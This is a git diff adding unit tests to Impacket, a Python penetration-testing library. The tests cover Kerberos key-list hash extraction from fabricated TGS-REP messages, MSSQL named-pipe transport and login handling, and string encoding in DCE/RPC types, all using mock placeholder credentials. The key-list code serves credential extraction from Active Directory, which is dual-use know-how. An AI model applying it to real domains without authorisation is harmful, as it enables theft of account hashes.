int(constants.ApplicationTagNumbers.TGS_REP.value) + tgsRep['crealm'] = self.DOMAIN.upper() + tgsRep['cname'] = noValue + tgsRep['cname']['name-type'] = constants.PrincipalNameType.NT_PRINCIPAL.value + tgsRep['cname']['name-string'][0] = self.USER + tgsRep['ticket'] = noValue + tgsRep['ticket']['tkt-vno'] = 5 + tgsRep['ticket']['realm'] = self.DOMAIN.upper() + tgsRep['ticket']['sname'] = noValue + tgsRep['ticket']['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value + tgsRep['ticket']['sname']['name-string'][0] = 'krbtgt' + tgsRep['ticket']['sname']['name-string'][1] = self.DOMAIN.upper() + tgsRep['ticket']['enc-part'] = noValue + tgsRep['ticket']['enc-part']['etype'] = int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) + tgsRep['ticket']['enc-part']['kvno'] = 2 + tgsRep['ticket']['enc-part']['cipher'] = b'\x00' * 16 + tgsRep['enc-part'] = noValue + tgsRep['enc-part']['etype'] = etype + tgsRep['enc-part']['cipher'] = encPart + + return encoder.encode(tgsRep) + + def _key_list_rep_value(self): + ek = EncryptionKey() + ek['keytype'] = int(constants.EncryptionTypes.rc4_hmac.value) + ek['keyvalue'] = self.NT_HASH + keyList = KERB_KEY_LIST_REP() + keyList.setComponentByPosition(0, ek) + return encoder.encode(keyList) + + def test_getkey_selects_key_list_rep_when_not_first(self): + # A KERB-KEY-LIST-REP (162) preceded by PA-SUPPORTED-ENCTYPES (165). The 165 + # value is not a valid KERB-KEY-LIST-REP, so the old encrypted_pa_data[0] + # assumption would have decoded the wrong buffer and failed. + suppEnctypes = (constants.PreAuthenticationDataTypes.PA_SUPPORTED_ENCTYPES.value, + b'\x1f\x00\x00\x00') + keyListRep = (constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REP.value, + self._key_list_rep_value()) + + raw = self._build_tgs_rep([suppEnctypes, keyListRep]) + key = KeyListSecrets.getKey(raw, self.SESSION_KEY) + + self.assertEqual(bytes.fromhex(key[2:]), self.NT_HASH) + + # Regression lock: the [0] entry really is 165 and would break the old path. + with self.assertRaises(PyAsn1Error): + decoder.decode(suppEnctypes[1], asn1Spec=KERB_KEY_LIST_REP()) + + def test_getkey_raises_when_key_list_rep_absent(self): + # No KERB-KEY-LIST-REP at all -> clear error instead of IndexError. + suppEnctypes = (constants.PreAuthenticationDataTypes.PA_SUPPORTED_ENCTYPES.value, + b'\x1f\x00\x00\x00') + raw = self._build_tgs_rep([suppEnctypes]) + with self.assertRaises(Exception) as ctx: + KeyListSecrets.getKey(raw, self.SESSION_KEY) + self.assertIn('KERB-KEY-LIST-REP', str(ctx.exception)) + + +if __name__ == '__main__': + unittest.main(verbosity=2) diff --git a/tests/misc/test_tds.py b/tests/misc/test_tds.py index eea2ae9c7c..cc50a66c19 100644 --- a/tests/misc/test_tds.py +++ b/tests/misc/test_tds.py @@ -14,6 +14,7 @@ import socket import unittest from unittest import mock +from impacket.smbconnection import SessionError from impacket import tds from impacket.examples.ntlmrelayx.servers.socksplugins.mssql import MSSQLSocksRelay @@ -168,6 +169,178 @@ def test_recv_tds_preserves_buffered_bytes_for_next_packet(self): self.assertEqual(second_response["Type"], tds.TDS_TABULAR) self.assertEqual(second_response["Data"], b"second") + def test_mssql_constructor_preserves_legacy_positional_remote_name(self): + client = tds.MSSQL("server", 1444, "sql.example.com") + + self.assertEqual(client.port, 1444) + self.assertEqual(client.remoteName, "sql.example.com") + self.assertIsNone(client.pipe_name) + + def test_named_pipe_constructor_defaults_remote_host_to_address(self): + client = tds.MSSQL( + "10.0.0.5", + pipe_name=r"MSSQL$SQLEXPRESS\sql\query", + remoteName="sql.example.com", + ) + + self.assertEqual(client.remoteName, "sql.example.com") + self.assertEqual(client.remoteHost, "10.0.0.5") + + def test_named_pipe_transport_settimeout_forwards_to_smb(self): + transport = tds.NamedPipeTransport("sql.example.com", "10.0.0.5", "pipe") + transport._smb = mock.Mock() + + transport.settimeout(7) + + transport._smb.setTimeout.assert_called_once_with(7) + + def test_named_pipe_transport_uses_timeout_from_connect(self): + client = tds.MSSQL( + "10.0.0.5", + pipe_name=r"MSSQL$SQLEXPRESS\sql\query", + remoteName="sql.example.com", + ) + client.connect(timeout=7) + + with mock.patch.object(tds, "NamedPipeTransport") as transport_class: + client._create_named_pipe_transport("user", "password", "DOMAIN") + + transport_class.return_value.connect.assert_called_once_with(7) + + def test_named_pipe_transport_is_closed_when_authentication_fails(self): + client = tds.MSSQL( + "10.0.0.5", + pipe_name=r"MSSQL$SQLEXPRESS\sql\query", + remoteName="sql.example.com", + ) + + with mock.patch.object(tds, "NamedPipeTransport") as transport_class: + transport = transport_class.return_value + transport.authenticate_ntlm.side_effect = RuntimeError( + "authentication failed" + ) + + with self.assertRaisesRegex(RuntimeError, "authentication failed"): + client._create_named_pipe_transport( + "user", "password", "DOMAIN" + ) + + transport.close.assert_called_once_with() + self.assertEqual(client.socket, 0) + + def test_named_pipe_disconnect_write_error_is_generic(self): + transport = tds.NamedPipeTransport("sql.example.com", "10.0.0.5", "pipe") + transport._smb = mock.Mock() + transport._smb.writeFile.side_effect = SessionError(tds.STATUS_PIPE_DISCONNECTED) + + with self.assertRaisesRegex(ConnectionError, "while writing") as cm: + transport.sendall(b"data") + + self.assertNotIn("ENCRYPT_STRICT", str(cm.exception)) + + def test_named_pipe_login_can_use_separate_smb_credentials(self): + client = tds.MSSQL( + "10.0.0.5", + pipe_name=r"MSSQL$SQLEXPRESS\sql\query", + remoteName="sql.example.com", + ) + response = {"Encryption": tds.TDS_ENCRYPT_REQ} + client._create_named_pipe_transport = mock.Mock() + client._negotiate_encryption = mock.Mock(return_value=response) + client.sendTDS = mock.Mock() + client.recvTDS = mock.Mock(return_value={"Data": b""}) + client.parseReply = mock.Mock(return_value={tds.TDS_LOGINACK_TOKEN: []}) + + result = client.login( + None, + "sql_user", + "sql_pass", + "", + useWindowsAuth=False, + smbUsername="smb_user", + smbPassword="smb_pass", + smbDomain="SMBDOM", + ) + + self.assertTrue(result) + client._create_named_pipe_transport.assert_called_once_with( + "smb_user", + "smb_pass", + "SMBDOM", + "", + "", + kerberos=False, + ) + + def test_named_pipe_kerberos_does_not_reuse_mssql_tgs_for_smb(self): + client = tds.MSSQL( + "10.0.0.5", + pipe_name=r"MSSQL$SQLEXPRESS\sql\query", + remoteName="sql.example.com", + ) + sql_tgt = object() + sql_tgs = object() + client._create_named_pipe_transport = mock.Mock() + client._negotiate_encryption = mock.Mock( + side_effect=RuntimeError("stop after SMB setup") + ) + + with self.assertRaisesRegex(RuntimeError, "stop after SMB setup"): + client.kerberosLogin( + None, + "sql_user", + "sql_pass", + "DOMAIN", + TGT=sql_tgt, + TGS=sql_tgs, + useCache=False, + ) + + client._create_named_pipe_transport.assert_called_once_with( + "sql_user", + "sql_pass", + "DOMAIN", + "", + "", + kerberos=True, + aesKey="", + kdcHost=None, + TGT=sql_tgt, + TGS=None, + useCache=False, + ) + + def test_named_pipe_kerberos_can_use_separate_smb_credentials(self): + client = tds.MSSQL( + "10.0.0.5", + pipe_name=r"MSSQL$SQLEXPRESS\sql\query", + remoteName="sql.example.com", + ) + client._create_named_pipe_transport = mock.Mock() + client._negotiate_encryption = mock.Mock( + side_effect=RuntimeError("stop after SMB setup") + ) + + with self.assertRaisesRegex(RuntimeError, "stop after SMB setup"): + client.kerberosLogin( + None, + "sql_user", + "sql_pass", + "DOMAIN", + smbUsername="smb_user", + smbPassword="smb_pass", + smbDomain="SMBDOM", + ) + + client._create_named_pipe_transport.assert_called_once_with( + "smb_user", + "smb_pass", + "SMBDOM", + "", + "", + kerberos=False, + ) + @staticmethod def _text_pointer_row_data(payload): pointer = b"PTR!" diff --git a/tests/misc/test_text_encoding.py b/tests/misc/test_text_encoding.py new file mode 100644 index 0000000000..c8ad378d7b --- /dev/null +++ b/tests/misc/test_text_encoding.py @@ -0,0 +1,70 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest + +from impacket.dcerpc.v5 import rrp, samr +from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING, STR, WIDESTR, WSTR +from impacket.dcerpc.v5.srvs import WCHAR_ARRAY + + +class TextEncodingTests(unittest.TestCase): + + def test_wide_string_types_accept_bytes(self): + for string_type in (WIDESTR, WSTR, WCHAR_ARRAY): + value = string_type() + value['Data'] = b'test' + + self.assertEqual(value['Data'], 'test') + self.assertEqual(value.fields['Data'], 'test'.encode('utf-16le')) + + def test_rpc_unicode_string_accepts_bytes(self): + value = RPC_UNICODE_STRING() + value['Data'] = b'test' + + self.assertEqual(value['Data'], 'test') + self.assertEqual(value['Length'], 8) + self.assertEqual(value['MaximumLength'], 8) + + def test_str_preserves_raw_bytes(self): + value = STR() + value['Data'] = b'\xff' + + self.assertEqual(value.fields['Data'], b'\xff') + + def test_registry_string_types_accept_bytes(self): + for value_type in (rrp.REG_EXPAND_SZ, rrp.REG_SZ): + self.assertEqual( + rrp.packValue(value_type, b'value'), + 'value\x00'.encode('utf-16le'), + ) + + self.assertEqual( + rrp.packValue(rrp.REG_MULTI_SZ, b'one\x00two\x00'), + 'one\x00two\x00\x00'.encode('utf-16le'), + ) + + def test_samr_password_change_accepts_bytes(self): + class FakeDCE: + def request(self, request): + return request + + request = samr.hSamrUnicodeChangePasswordUser2( + FakeDCE(), + userName='user', + oldPassword='OldPassword1!', + newPassword=b'NewPassword2!', + ) + + self.assertIsInstance(request, samr.SamrUnicodeChangePasswordUser2) + + +if __name__ == '__main__': + unittest.main(verbosity=1)